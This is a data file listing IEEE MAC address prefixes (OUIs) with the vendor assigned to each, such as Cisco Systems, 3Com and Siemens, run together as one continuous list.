00148E Tele Power Inc. 001487 American Technology Integrators 001482 Aurora Networks 001481 Multilink Inc 00147C 3Com Ltd 001475 Wiline Networks, Inc. 0012E7 Projectek Networking Electronics Corp. 0012E8 Fraunhofer IMS 0012DB ZIEHL industrie-elektronik GmbH + Co KG 0012E2 ALAXALA Networks Corporation 0012D6 Jiangsu Yitong High-Tech Co.,Ltd 0012D5 Motion Reality Inc. 0012C3 WIT S.A. 0013E5 TENOSYS, INC. 0013EA Kamstrup A/S 0013DE Adapt4, LLC 0013D7 SPIDCOM Technologies SA 0013D8 Princeton Instruments 0013CF 4Access Communications 0013D2 PAGE IBERICA, S.A. 0013C9 Beyond Achieve Enterprises Ltd. 0013C2 WACOM Co.,Ltd 0013BD HYMATOM SA 0013B8 RyCo Electronic Systems Limited 00134E Valox Systems, Inc. 001353 HYDAC Filtertechnik GMBH 00134D Inepro BV 001347 Red Lion Controls, LP 00133B Speed Dragon Multimedia Limited 001340 AD.EL s.r.l. 00132E ITian Coporation 001328 Westech Korea Inc., 00132D iWise Communications 001334 Arkados, Inc. 0013B3 Ecom Communications Technology Co., Ltd. 0013AC Sunmyung Electronics Co., LTD 0013A6 Extricom Ltd 0013A5 General Solutions, LTD. 0013A0 ALGOSYSTEM Co., Ltd. 001399 STAC Corporation. 001393 Panta Systems, Inc. 001394 Infohand Co.,Ltd 00138D Kinghold 0012C8 Perfect tech 0012B9 Fusion Digital Technology 0012BE Astek Corporation 0012AC ONTIMETEK INC. 0012AB WiLife, Inc. 0012B2 AVOLITES LTD. 0012A6 Dolby Australia 001378 Qsan Technology, Inc. 00137D Dynalab, Inc. 001384 Advanced Motion Controls 00137E CorEdge Networks, Inc. 00136C TomTom 00136B E-TEC 001359 ProTelevision Technologies A/S 00135E EAB/RWI/K 00129F RAE Systems 001299 Ktech Telecommunications Inc 00129A IRT Electronics Pty Ltd 00128C Woodward Governor 001293 GE Energy 001287 Digital Everywhere Unterhaltungselektronik GmbH 001280 Cisco Systems, Inc 00131E Peiker acustic GmbH & Co. KG 001323 Cap Co., Ltd. 00130B Mextal B.V. 001312 Amedia Networks Inc. 0012F8 WNI Resources, LLC 0012FF Lely Industries N.V. 001304 Flaircomm Technologies Co. LTD 001410 Suzhou Keda Technology CO.,Ltd 001417 RSE Informations Technologie GmbH 001408 Eka Systems Inc. 001402 kk-electronic a/s 001401 Rivertree Networks Corp. 0013FB RKC INSTRUMENT INC. 0013F4 Psitek (Pty) Ltd 0013EF Kingjon Digital Technology Co.,Ltd 0011F7 Shenzhen Forward Industry Co., Ltd 0011F2 Institute of Network Technologies 0011EB Innovative Integration 0011E6 Scientific Atlanta 0011E5 KCodes Corporation 0011DF Current Energy 0011D3 NextGenTel Holding ASA 00110E Tsurusaki Sealand Transportation Co. Ltd. 001115 EPIN Technologies, Inc. 001114 EverFocus Electronics Corp. 001107 RGB Networks Inc. 001108 Orbital Data Corporation 001102 Aurora Multimedia Corp. 000FFC Merit Li-Lin Ent. 000FDA YAZAKI CORPORATION 000FF3 Jung Myoung Communications&Technology 0011A2 Manufacturing Technology Inc 00119B Telesynergy Research Inc. 00118C Missouri Department of Transportation 001191 CTS-Clima Temperatur Systeme GmbH 001196 Actuality Systems, Inc. 001179 Singular Technology Co. Ltd. 001172 COTRON CORPORATION 001166 Taelim Electronics Co., Ltd. 00116B Digital Data Communications Asia Co.,Ltd 00116C Nanwang Multimedia Inc.,Ltd 001162 STAR MICRONICS CO.,LTD. 001161 NetStreams, LLC 001155 Sevis Systems 00115C Cisco Systems, Inc 001147 Secom-Industry co.LTD. 00114C caffeina applied research ltd. 001274 NIT lab 00127A Sanyu Industry Co.,Ltd. 00126D University of California, Berkeley 001268 IPS d.o.o. 001267 Panasonic Corporation 001261 Adaptix, Inc 001257 LeapComm Communication Technologies Inc. 001222 Skardin (UK) Ltd 001227 Franklin Electric Co., Inc. 00121B Sound Devices, LLC 001221 B.Braun Melsungen AG 001214 Koenig & Bauer AG 00120F IEEE 802.3 001208 Gantner Instruments GmbH 001201 Cisco Systems, Inc 001202 Decrane Aerospace - Audio International Inc. 0011C7 Raymarine UK Ltd 0011CC Guangzhou Jinpeng Group Co.,Ltd. 0011B5 Shenzhen Powercom Co.,Ltd 0011BA Elexol Pty Ltd 0011C1 4P MOBILE DATA PROCESSING 0011A8 Quest Technologies 0011A7 Infilco Degremont Inc. 001250 Tokyo Aircaft Instrument Co., Ltd. 00124B Texas Instruments 001244 Cisco Systems, Inc 001238 SetaBox Technology Co., Ltd. 00123D GES Co, Ltd 00123E ERUNE technology Co., Ltd. 00122C Soenen Controls N.V. 001231 Motion Control Systems, Inc. 001146 Telecard-Pribor Ltd 001140 Nanometrics Inc. 001139 STOEBER ANTRIEBSTECHNIK GmbH + Co. KG. 00113A SHINBORAM 001134 MediaCell, Inc. 001127 TASI, Inc 00112A Niko NV 001121 Cisco Systems, Inc 000EBB Everbee Networks 000EB4 GUANGZHOU GAOKE COMMUNICATIONS TECHNOLOGY CO.LTD. 000EAE GAWELL TECHNOLOGIES CORP. 000EA8 United Technologists Europe Limited 000EAD Metanoia Technologies, Inc. 000EA1 Formosa Teletek Corporation 000E9C Benchmark Electronics 000E9B Ambit Microsystems Corporation 000E8E SparkLAN Communications, Inc. 000E95 Fujiya Denki Seisakusho Co.,Ltd. 000FC1 WAVE Corporation 000FC8 Chantry Networks 000FC7 Dionica R&D Ltd. 000FBA Tevebox AB 000FA7 Raptor Networks Technology 000FAE E2O Communications 000FA8 Photometrics, Inc. 000F9A Synchrony, Inc. 000FA2 2xWireless 000E89 CLEMATIC 000E82 Commtech Wireless 000E7C Televes S.A. 000E76 GEMSOC INNOVISION INC. 000E6E MAT S.A. (Mircrelec Advanced Technology) 000E72 CTS electronics 000E68 E-TOP Network Technology Inc. 000E67 Eltis Microelectronics Ltd. 000FE7 Lutron Electronics Co., Inc. 000FEC ARKUS Inc. 000FE0 NComputing Co.,Ltd. 000FD4 Soundcraft 000FD9 FlexDSL Telecommunications AG 000EEA Shadong Luneng Jicheng Electronics,Co.,Ltd 000EDD SHURE INCORPORATED 000EE4 BOE TECHNOLOGY GROUP CO.,LTD 000ED8 Positron Access Solutions Corp 000ECD SKOV A/S 000ECE S.I.T.T.I. S.p.A. 000ED3 Epicenter, Inc. 000EC7 Motorola Korea 000F93 Landis+Gyr Ltd. 000F94 Genexis BV 000F8E DONGYANG TELECOM CO.,LTD. 000F87 Maxcess International 000F82 Mortara Instrument, Inc. 000F81 PAL Pacific Inc. 000F74 Qamcom Technology AB 000F7B Arce Sistemas, S.A. 000F68 Vavic Network Technology, Inc. 000F6F FTA Communication Technologies 000F62 Alcatel Bell Space N.V. 000F5C Day One Digital Media Limited 000F55 Datawire Communication Networks Inc. 000F49 Northover Solutions Limited 000F50 StreamScale Limited 000F42 Xalyo Systems 000F1C DigitAll World Co., Ltd 000F0A Clear Edge Networks 000F09 Private 000F03 COM&C CO., LTD 000EF7 Vulcan Portals Inc 000EFC JTAG Technologies B.V. 000EE9 WayTech Development, Inc. 000EF0 Festo AG & Co. KG 000F35 Cisco Systems, Inc 000F2E Megapower International Corp. 000F29 Augmentix Corporation 000F22 Helius, Inc. 000F0F Real ID Technology Co., Ltd. 000F16 JAY HOW TECHNOLOGY CO., 000F1B Ego Systems Inc. 000D74 Sand Network Systems, Inc. 000D7B Consensys Computers Inc. 000D6E K-Patents Oy 000D68 Vinci Systems, Inc. 000D6D K-Tech Devices Corp. 000D5B Smart Empire Investments Limited 000D5C Robert Bosch GmbH, VT-ATMO 000D61 Giga-Byte Technology Co., Ltd. 000D55 SANYCOM Technology Co.,Ltd 000D49 Triton Systems of Delaware, Inc. 000D4E NDR Co.,LTD. 000E5B ParkerVision - Direct2Data 000E55 AUVITRAN 000E56 4G Systems GmbH & Co. KG 000E4F Trajet GmbH 000E48 Lipman TransAction Solutions 000E43 G-Tek Electronics Sdn. Bhd. 000E34 NexGen City, LP 000E3B Hawking Technologies, Inc. 000E2F Roche Diagnostics GmbH 000DFB Komax AG 000DE9 Napatech Aps 000DEE Andrew RF Power Amplifier Group 000DE2 CMZ Sistemi Elettronici 000DDC VAC 000DD6 ITILTD 000DDB AIRWAVE TECHNOLOGIES INC. 000DCA Tait Electronics 000DCF Cidra Corp. 000E28 Dynamic Ratings P/L 000E22 Private 000E21 MTU Friedrichshafen GmbH 000E15 Tadlys LTD 000E1C Hach Company 000E0D Hesch Schröder GmbH 000E10 C-guys, Inc. 000DF5 Teletronics International Inc. 000DFC ITFOR Inc. 000E01 ASIP Technologies Inc. 000CF0 M & N GmbH 000CF5 InfoExpress 000CE0 Trek Diagnostics Inc. 000CE4 NeuroCom International, Inc. 000CE9 BLOOMBERG L.P. 000CCE Cisco Systems, Inc 000CD4 Positron Public Safety Systems inc. 000CCD IEC - TC57 000D15 Voipac s.r.o. 000D16 UHS Systems Pty Ltd 000D1B Kyoto Electronics Manufacturing Co., Ltd. 000D0F Finlux Ltd 000D03 Matrics, Inc. 000D08 AboveCable, Inc. 000CFC S2io Technologies Corp 000CF6 Sitecom Europe BV 000DA3 Emerging Technologies Limited 000D9C Elan GmbH & Co KG 000D96 Vtera Technology Inc. 000D95 Opti-cell, Inc. 000D90 Factum Electronics AB 000D89 Bils Technology Inc 000D80 Online Development Inc 000DC9 THALES Elektronik Systeme GmbH 000DC3 First Communication, Inc. 000DBC Cisco Systems, Inc 000DB7 SANKO ELECTRIC CO,.LTD 000DB0 Olym-tech Co.,Ltd. 000DA8 Teletronics Technology Corporation 000D41 Siemens AG ICM MP UC RD IT KLF1 000D3A Microsoft Corp. 000D35 PAC International Ltd 000D2E Matsushita Avionics Systems Corporation 000D28 Cisco Systems, Inc 000D22 Unitronics LTD 000D27 MICROPLEX Printware AG 000C21 Faculty of Science and Technology, Keio University 000C11 NIPPON DEMPA CO.,LTD. 000C10 PNI Corporation 000C12 Micro-Optronic-Messtechnik GmbH 000C17 AJA Video Systems Inc 000C04 Tecnova 000C0B Broadbus Technologies 000BF8 Infinera 000BFF Berkeley Camera Engineering 000BEC NIPPON ELECTRIC INSTRUMENT, INC. 000BB8 Kihoku Electronic Co. 000BBD Connexionz Limited 000BAD PC-PoS Inc. 000BA0 T&L Information Inc. 000BA7 Maranti Networks 000BAC 3Com Ltd 000B93 Ritter Elektronik 000B98 NiceTechVision 000B9B Sirius System Co, Ltd. 000B8C Flextronics 000BF1 LAP Laser Applikations 000BDF Shenzhen RouterD Networks Limited 000BDE TELDIX GmbH 000BE0 SercoNet Ltd. 000BE5 HIMS International Corporation 000BD9 General Hydrogen 000BAE Vitals System Inc. 000BD0 XiMeta Technology Americas Inc. 000BD5 Nvergence, Inc. 000BC4 BIOTRONIK GmbH & Co 000BC9 Electroline Equipment 000BB1 Super Star Technology Co., Ltd. 000BB6 Metalligence Technology Corp. 000B79 X-COM, Inc. 000B80 Lycium Networks 000B87 American Reliance Inc. 000B6D SOLECTRON JAPAN NAKANIIDA 000B74 Kingwave Technology Co., Ltd. 000B67 Topview Technology Corporation 000B61 Friedrich Lütze GmbH & Co. KG 000B66 Teralink Communications 000B68 Addvalue Communications Pte Ltd 000B58 Astronautics C.ALTD 000B50 Oxygnet 000B44 Concord IDea Corp. 000B49 RF-Link System Inc. 000B4B VISIOWAVE SA 000B31 Yantai ZhiYang Scientific and technology industry CO., LTD 000B3D CONTAL OK Ltd. 000B38 Knürr GmbH 000B2A HOWTEL Co., Ltd. 000B2C Eiki Industrial Co. Ltd. 000C97 NV ADB TTV Technologies SA 000C9C Chongho information & communications 000C9E MemoryLink Corp. 000C89 AC Electric Vehicles, Ltd. 000C8B Connect Tech Inc 000C90 Octasic Inc. 000C84 Eazix, Inc. 000C75 Oriental integrated electronics. LTD 000C77 Life Racing Ltd 000C7C Internet Information Image Inc. 000C43 Ralink Technology, Corp. 000C45 Animation Technologies Inc. 000C3C MediaChorus, Inc. 000C32 Avionic Design Development GmbH 000C35 KaVo Dental GmbH & Co. KG 000C2B ELIAS Technology, Inc. 000C28 RIFATRON 000C1C MicroWeb Co., Ltd. 000C64 X2 MSA Group 000C69 National Radio Astronomy Observatory 000C70 ACC GmbH 000C51 Scientific Technologies Inc. 000C56 Megatel Computer (1986) Corp. 000C58 M&S Systems 000C5D CHIC TECHNOLOGY (CHINA) CORP. 000C4A Cygnus Microsystems (P) Limited 000CC8 Xytronix Research & Design, Inc. 000CBB ISKRAEMECO 000CB5 Premier Technolgies, Inc 000CBC Iscutum 000CA3 Rancho Technology, Inc. 000CAA Cubic Transportation Systems Inc 000A38 Apani Networks 000A3F Data East Corporation 000A44 Avery Dennison Deutschland GmbH 000A46 ARO WELDING TECHNOLOGIES SAS 000A33 Emulex Corporation 000A31 HCV Consulting 000A2C Active Tchnology Corporation 004252 RLX Technologies 000A2A QSI Systems Inc. 000A1E Red-M Products Limited 000A23 Parama Networks Inc 000A17 NESTAR COMMUNICATIONS, INC 000A1C Bridge Information Co., Ltd. 000B19 Vernier Networks, Inc. 000B1E KAPPA opto-electronics GmbH 000B25 Aeluros 000B17 MKS Instruments 000B12 NURI Telecom Co., Ltd. 000B0B Corrent Corporation 000AFA Traverse Technologies Australia 000AFF Kilchherr Elektronik AG 000AF3 Cisco Systems, Inc 000AF8 American Telecare Inc. 000AEE GCD Hard- & Software GmbH 000A06 Teledex LLC 000A09 TaraCom Integrated Products, Inc. 000A0B Sealevel Systems, Inc. 000A10 FAST media integrations AG 0009F7 SED, a division of Calian 000A01 SOHOware, Inc. 0009E9 Cisco Systems, Inc 0009F0 Shimizu Technology Inc. 0009EA YEM Inc. 0009E4 K Tech Infosystem Inc. 0009D8 Fält Communications AB 0009DD Mavin Technology Inc. 0009B1 Kanematsu Electronics, Ltd. 0009A3 Leadfly Techologies Corp. Ltd. 0009AA Data Comm for Business, Inc. 0009A4 HARTEC Corporation 00099E Testech, Inc. 000992 InterEpoch Technology,INC. 000991 GE Fanuc Automation Manufacturing, Inc. 00098B Entropic Communications, Inc. 000AB0 LOYTEC electronics GmbH 000AB7 Cisco Systems, Inc 000AA4 SHANGHAI SURVEILLANCE TECHNOLOGY CO,LTD 000AA9 Brooks Automation GmbH 000A91 HemoCue AB 000A9D King Young Technology Co. Ltd. 000A8C Guardware Systems Ltd. 000A97 SONICblue, Inc. 000A7D Valo, Inc. 000A84 Rainsun Enterprise Co., Ltd. 000A89 Creval Systems, Inc. 0009D7 DC Security Products 0009CA iMaxNetworks(Shenzhen)Limited. 0009D1 SERANOA NETWORKS INC 0009C5 KINGENE Technology Corporation 0009BD Epygi Technologies, Ltd. 0009B6 Cisco Systems, Inc 00097F Vsecure 2000 LTD. 000984 MyCasa Network Inc. 000971 Time Management, Inc. 000978 AIJI System Co., Ltd. 000972 Securebase,Inc 00096C Imedia Semiconductor Corp. 000965 HyunJu Computer Co., Ltd. 000960 YOZAN Inc. 000956 Network Systems Group, Ltd. (NSG) 000955 Young Generation International Corp. 000AE9 AirVast Technology Inc. 000ADD Allworx Corp. 000AE2 Binatone Electronics International, Ltd 000ACA YOKOYAMA SHOKAI CO.,Ltd. 000ACF PROVIDEO Multimedia Co. Ltd. 000AD6 BeamReach Networks 000ABC Seabridge Ltd. 000ABE OPNET Technologies CO., LTD. 000AC3 eM Technics Co., Ltd. 000A78 OLITEC 000A71 Avrio Technologies, Inc 000A76 Beida Jade Bird Huaguang Technology Co.,Ltd 000A63 DHD GmbH 000A65 GentechMedia.co.,ltd. 000A6A SVM Microwaves s.r.o. 000A5E 3COM Corporation 000A52 AsiaRF Ltd. 000A4B DataPower Technology, Inc. 00075A Air Products and Chemicals, Inc. 000754 Xyterra Computing, Inc. 00074E IPFRONT Inc 00074D Zebra Technologies Corp. 000742 Ormazabal 000748 The Imaging Source Europe 000736 Data Video Technologies Co., Ltd. 00073D Nanjing Postel Telecommunications Co., Ltd. 00073C Telecom Design 00072A Innovance Networks 00072F Intransa, Inc. 000730 Hutchison OPTEL Telecom Technology Co., Ltd. 000725 Bematech International Corp. 000818 Pixelworks, Inc. 000812 GM-2 Corporation 000811 VOIX Corporation 00080B Birka BPA Informationssystem AB 000805 Techno-Holon Corporation 00080C VDA Elettronica spa 0007FB Giga Stream UMTS Technologies GmbH 0007F5 Bridgeco Co AG 0007E8 EdgeWave 0007EF Lockheed Martin Tactical Systems 0007E2 Bitworks, Inc. 0007D6 Commil Ltd. 0007DC Atek Co, Ltd. 000923 Heaman System Co., Ltd 00091D Proteam Computer Corporation 000924 Telebau GmbH 000911 Cisco Systems, Inc 000916 Listman Home Technologies, Inc. 00090A SnedFar Technology Co., Ltd. 000904 MONDIAL electronic 000903 Panasas, Inc 0008FE UNIK C&C Co.,Ltd. 0008EE Logic Product Development 0008F0 Next Generation Systems, Inc. 000948 Vista Control Systems, Corp. 00094F elmegt GmbH & Co. KG 000943 Cisco Systems, Inc 00093C Jacques Technologies P/L 000936 Ipetronik GmbH & Co. KG 000935 Sandvine Incorporated 000929 Sanyo Industries (UK) Limited 000930 AeroConcierge Inc. 0008E9 NextGig 0008DC Wiznet 0008E2 Cisco Systems, Inc 0008DB Corrigent Systems 0008D6 HASSNET Inc. 0008CF Nippon Koei Power Systems Co., Ltd. 0008C0 ASA SYSTEMS 0008C5 Liontech Co., Ltd. 0008CA TwinHan Technology Co.,Ltd 0008BF Aptus Elektronik AB 0008B3 Fastwel 0008B2 SHENZHEN COMPASS TECHNOLOGY DEVELOPMENT CO.,LTD 0008A6 Multiware & Image Co., Ltd. 0008AD Toyo-Linx Co., Ltd. 00089A Alcatel Microelectronics 0008A0 Stotz Feinmesstechnik GmbH 000892 EM Solutions 000896 Printronix, Inc. 00088C Quanta Network Systems Inc. 000886 Hansung Teliann, Inc. 000873 DapTechnology B.V. 00087A Wipotec GmbH 00087F SPAUN electronic GmbH & Co. KG 02608C 3COM CORPORATION 0007D0 Automat Engenharia de Automação Ltda. 0007CD Kumoh Electronic Co, Ltd 0007C7 Synectics Systems Limited 00047D Pelco 00047E Siqura B.V. 0007C1 Overture Networks, Inc. 0007C0 NetZerver Inc. 0007AE Britestream Networks, Inc. 0007B4 Cisco Systems, Inc 00079A Verint Systems Inc 0007A0 e-Watch Inc. 000794 Simple Devices, Inc. 000793 Shin Satellite Public Company Limited 00078D NetEngines Ltd. 00078E Garz & Friche GmbH 000781 Itron Inc. 000787 Idea System Co., Ltd. 000777 Motah Ltd. 000771 Embedded System Corporation 00075B Gibson Guitars 000760 TOMIS Information & Telecom Corp. 000767 Yuxing Electronics Company Limited 000879 CEM Corporation 00086C Plasmon LMS 00086D Missouri FreeNet 000867 Uptime Devices 000860 LodgeNet Entertainment Corp. 000854 Netronix, Inc. 00085A IntiGate Inc. 00081E Repeatit AB 00082B Wooksung Electronics, Inc. 000824 Nuance Document Imaging 0005BA Area Netwoeks, Inc. 0005B9 Airvana, Inc. 0005C0 Digital Network Alacarte Co., Ltd. 000599 DRS Test and Energy Management or DRS-TEM 0005A0 MOBILINE Kft. 0005A9 Princeton Networks, Inc. 0005AA Moore Industries International Inc. 0005AF InnoScan Computing A/S 0005B3 Asahi-Engineering Co., Ltd. 00059F Yotta Networks, Inc. 0005A6 Extron Electronics 0005B4 Aceex Corporation 00058D Lynx Photonic Networks, Inc. 000587 Locus, Incorporated 000593 Grammar Engine Inc. 000586 Lucent Technologies 00057A Overture Networks 00063C Intrinsyc Software International Inc. 00062F Pivotech Systems Inc. 000636 Jedai Broadband Networks 000635 PacketAir Networks, Inc. 000628 Cisco Systems, Inc 00061F Vision Components GmbH 000619 Connection Technology Systems 00060D Wave7 Optics 000613 Kawasaki Microelectronics Incorporated 00060E IGYS Systems, Inc. 0005EC Mosaic Systems Inc. 0005D3 eProduction Solutions, Inc. 000608 At-Sky SAS 000607 Omni Directional Control Technology Inc. 0005E6 Egenera, Inc. 000580 FibroLAN Ltd. 000576 NSM Technology Ltd. 000570 Baydel Ltd. 00056A Heuft Systemtechnik GmbH 000563 J-Works, Inc. 00055D D-LINK SYSTEMS, INC. 000564 Tsinghua Bitway Co., Ltd. 000557 Agile TV Corporation 000551 F & S Elektronik Systeme GmbH 00054B Eaton Automation AG 00054A Ario Data Networks, Inc. 000544 Valley Technologies, Inc. 00053E KID Systeme GmbH 000531 Cisco Systems, Inc 000538 Merilus, Inc. 000532 Cisco Systems, Inc 000525 Puretek Industrial Co., Ltd. 00052B HORIBA, Ltd. 00051F Taijin Media Co., Ltd. 000519 Siemens Building Technologies AG, 000518 Jupiters Technology 00050E 3ware, Inc. 00050F Tanaka S/S Ltd. 000508 Inetcam, Inc. 0004FE Pelago Networks 000671 Softing AG 000672 Netezza 00067B Toplink C&C Corporation 000665 Sunny Giken, Inc. 00066B Sysmex Corporation 000652 Cisco Systems, Inc 000659 EAL (Apeldoorn) B.V. 000658 Helmut Fischer GmbH Institut für Elektronik und Messtechnik 000646 ShenZhen XunBao Network Technology Co Ltd 000640 White Rock Networks 00064C Invicta Networks, Inc. 0006B5 Source Photonics, Inc. 0006A8 KC Technology, Inc. 00069E UNIQA, Inc. 000698 egnite GmbH 000692 Intruvert Networks, Inc. 00068C 3COM CORPORATION 000685 NetNearU Corporation 00068B AirRunner Technologies, Inc. 000686 ZARDCOM Co., Ltd. 00067F Digeo, Inc. 0006DE Flash Technology 0006E4 Citel Technologies Ltd. 0006D1 Tahoe Networks, Inc. 0006DA ITRAN Communications Ltd. 0006CB Jotron Electronics A/S 0006CC JMI Electronics Co., Ltd. 0006BB ATI Technologies Inc. 0006C5 INNOVI Technologies Limited 0006AF Xalted Networks 000719 Mobiis Co., Ltd. 000720 Trutzschler GmbH & Co. KG 000713 IP One, Inc. 00070D Cisco Systems, Inc 000714 Brightcom 0006F1 Optillion 0006F0 Digeo, Inc. 0006FB Hitachi Printing Solutions, Ltd. 0006EB Global Data 0005F2 Power R, Inc. 0005FE Traficon N.V. 0005E5 Renishaw PLC 0005F8 Real Time Access, Inc. 0005FF SNS Solutions, Inc. 0005DD Cisco Systems, Inc 0005D9 Techno Valley, Inc. 0005C6 Triz Communications 0005CC Sumtel Communications, Inc. 00044C JENOPTIK 000448 Polaroid Corporation 00043C SONOS Co., Ltd. 000441 Half Dome Systems, Inc. 00042F International Communications Products, Inc. 000429 Pixord Corporation 00041C ipDialog, Inc. 00041D Corega of America 000416 Parks S/A Comunicacoes Digitais 000410 Spinnaker Networks, Inc. 00040F Asus Network Technologies, Inc. 00040A Sage Systems 000403 Nexsi Corporation 0004F8 QUALICABLE TV Industria E Com., Ltda 0004F2 Polycom 0004EB Paxonet Communications, Inc. 0004EC Memobox SA 0004E6 Banyan Network Private Limited 0004E1 Infinior Microsystems 0004DB Tellus Group Corp. 0004E2 SMC Networks, Inc. 0004D5 Hitachi Information & Communication Engineering, Ltd. 0004C9 Micro Electron Co., Ltd. 000487 Cogency Semiconductor, Inc. 000482 Medialogic Corp. 000478 G. Star Technology Corporation 000471 IPrad 00046B Palm Wireless, Inc. 000465 i.s.t isdn-support technik GmbH 000459 Veristar Corporation 00045E PolyTrax Information Technology AG 000458 Fusion X Co., Ltd. 000452 RocketLogix, Inc. 000442 NACT 0003F9 Pleiades Communications, Inc. 0003E2 Comspace Corporation 0003F4 NetBurner 0003F3 Dazzle Multimedia, Inc. 0003ED Shinkawa Electric Co., Ltd. 0003E7 Logostek Co. Ltd. 0003DF Desana Systems 0003DB Apogee Electronics Corp. 0003D6 RADVision, Ltd. 0003CF Muxcom, Inc. 0003C8 CML Emergency Services 0003C3 Micronik Multimedia 0003C0 RFTNC Co., Ltd. 0003BC COT GmbH 0003B1 Hospira Inc. 0003A5 Medea Corporation 0003AA Watlow 0003A2 Catapult Communications 00039E Tera System Co., Ltd. 000392 Hyundai Teletek Co., Ltd. 00038F Weinschel Corporation 00038B PLUS-ONE I&T, Inc. 000386 Ho Net, Inc. 00037D Stellcom 000382 A-One Co., Ltd. 00037A Taiyo Yuden Co., Ltd. 000376 Graphtec Technology, Inc. 000369 Nippon Antenna Co., Ltd. 00036F Telsey SPA 000363 Miraesys Co., Ltd. 00035E Metropolitan Area Networks, Inc. 000357 Intervoice-Brite, Inc. 00034C Shanghai DigiVision Technology Co., Ltd. 000351 Diebold, Inc. 000311 Micro Technology Co., Ltd. 00030A Argus Technologies 000305 MSC Vertriebs GmbH 0002FE Viditec, Inc. 0002F2 eDevice, Inc. 0002F7 ARM 0002EC Maschoff Design Engineering 0002E4 JC HYUN Systems, Inc. 0002E7 CAB GmbH & Co KG 0002E0 ETAS GmbH 0002D9 Reliable Controls 0002D4 PDA Peripherals, Inc. 0002D1 Vivotek, Inc. 0002CD TeleDream, Inc. 000349 Vidicode Datacommunicatie B.V. 000340 Floware Wireless Systems, Ltd. 008037 Ericsson Group 000332 Cisco Systems, Inc 000339 Eurologic Systems, Ltd. 00032A UniData Communication Systems, Inc. 00032D IBASE Technology, Inc. 000326 Iwasaki Information Systems Co., Ltd. 00031D Taiwan Commate Computer, Inc. 000318 Cyras Systems, Inc. 0004C2 Magnipix, Inc. 0004B6 Stratex Networks, Inc. 0004BC Giantec, Inc. 0004B0 ELESIGN Co., Ltd. 0004A9 SandStream Technologies, Inc. 0004A8 Broadmax Technologies, Inc. 0004A2 L.S.I. Japan Co., Ltd. 00049B Cisco Systems, Inc 00049C Surgient Networks, Inc. 00048F TD Systems Corporation 000488 Eurotherm Controls 000281 Madge Ltd. 009064 Thomson Inc. 00027F ask-technologies.com 00027A IOI Technology Corporation 000273 Coriolis Networks 00026E NeGeN Access, Inc. 000263 UPS Manufacturing SRL 00025C SCI Systems (Kunshan) Co., Ltd. 000253 Televideo, Inc. 00024C SiByte, Inc. 00024E Datacard Group 00012F Twinhead International Corp 00023C Creative Technology, Ltd. 000240 Seedek Co., Ltd. 000247 Great Dragon Information Technology (Group) Co., Ltd. 000243 Raysis Co., Ltd. 000239 Visicom 000236 INIT GmbH 000231 Ingersoll-Rand 00022A Asound Electronic 00022D Agere Systems 000219 Paralon Technologies 000186 Uwe Disch 00017B Heidelberger Druckmaschinen AG 000182 DICA TECHNOLOGIES AG 00018E Logitec Corporation 00019B Kyoto Microcomputer Co., Ltd. 000194 Capital Equipment Corporation 000197 Cisco Systems, Inc 0001A3 GENESYS LOGIC, INC. 00014E WIN Enterprises, Inc. 0030AC Systeme Lauer GmbH & Co., Ltd. 00013E Ascom Tateco AB 000145 WINSYSTEMS, INC. 000126 PAC Labs 00011A Hoffmann und Burmeister GbR 00011D Centillium Communications 000129 DFI Inc. 000107 Leiser GmbH 00010E Bri-Link Technologies Co., Ltd 000116 Netspect Technologies, Inc. 000103 3COM CORPORATION 00062B INTRASERVER TECHNOLOGY 0002C1 Innovative Electronic Designs, Inc. 0002C8 Technocom Communications Technology (pte) Ltd 0002A9 RACOM, s.r.o. 0002B8 WHI KONSULT AB 0002AC 3PAR data 0002B1 Anritsu, Ltd. 00029A Storage Apps 0002A0 Flatstack Ltd. 000295 IP.Access Limited 000294 Tokyo Sokushin Co., Ltd. 000290 Woorigisool, Inc. 000286 Occam Networks 00028B VDSL Systems OY 000222 Chromisys, Inc. 00021D Data General Communication Ltd. 00020A Gefran Spa 000216 Cisco Systems, Inc 000206 Telital R&D Denmark A/S 000203 Woonsang Telecom, Inc. 0001F7 Image Display Systems, Inc. 0001EE Comtrol Europe, Ltd. 0001E2 Ando Electric Corporation 0001F1 Innovative Concepts, Inc. 00B06D Jones Futurex Inc. 0030FE DSA GmbH 00305E Abelko Innovation 00301E 3COM EUROPE LTD. 00304D ESI 003046 Controlled Electronic Manageme 00307B Cisco Systems, Inc 0001D6 manroland AG 0001DB Freecom Technologies GmbH 0001DE Trango Systems, Inc. 0001CF Alpha Data Parallel Systems, Ltd. 0001CB EVR 0001C4 NeoWave, Inc. 0001C0 CompuLab, Ltd. 0001B5 Turin Networks, Inc. 00017F Experience Music Project 00016C FOXCONN 000173 AMCC 00015C CADANT INC. 000163 Cisco Systems, Inc 00010A CIS TECHNOLOGY INC. 00016F Inkel Corp. 000155 Promise Technology, Inc. 000151 Ensemble Communications 000142 Cisco Systems, Inc 000132 Dranetz - BMI 00D07D COSINE COMMUNICATIONS 00D0CA Intrinsyc Software International Inc. 00D058 Cisco Systems, Inc 00D067 CAMPIO COMMUNICATIONS 00D023 INFORTREND TECHNOLOGY, INC. 00D02A Voxent Systems Ltd. 00D068 IWILL CORPORATION 00D09D VERIS INDUSTRIES 00D09A FILANET CORPORATION 00D00A LANACCESS TELECOM S.A. 00D04A PRESENCE TECHNOLOGY GMBH 00D0C3 VIVID TECHNOLOGY PTE, LTD. 00D0F8 FUJIAN STAR TERMINAL 00D096 3COM EUROPE LTD. 00D003 COMDA ENTERPRISES CORP. 00D029 WAKEFERN FOOD CORPORATION 00D0F5 ORANGE MICRO, INC. 00D0F7 NEXT NETS CORPORATION 00D078 Eltex of Sweden AB 00D0AF CUTLER-HAMMER, INC. 00D026 HIRSCHMANN AUSTRIA GMBH 00D010 CONVERGENT NETWORKS, INC. 00D074 TAQUA SYSTEMS, INC. 00D0D5 GRUNDIG AG 00D034 ORMEC SYSTEMS CORP. 00D08C GENOA TECHNOLOGY, INC. 00D059 AMBIT MICROSYSTEMS CORP. 005020 MEDIASTAR CO., LTD. 00503E Cisco Systems, Inc 00D02B JETCELL, INC. 005017 RSR S.R.L. 00D0CC TECHNOLOGIES LYRE INC. 00506D VIDEOJET SYSTEMS 005077 PROLIFIC TECHNOLOGY, INC. 0050D4 JOOHONG INFORMATION & 00505E DIGITEK MICROLOGIC S.A. 0050E7 PARADISE INNOVATIONS (ASIA) 0050B9 XITRON TECHNOLOGIES, INC. 00D049 IMPRESSTEK CO., LTD. 00D04D DIV OF RESEARCH & STATISTICS 00D035 BEHAVIOR TECH. COMPUTER CORP. 00D02D ADEMCO 00D07C KOYO ELECTRONICS INC. 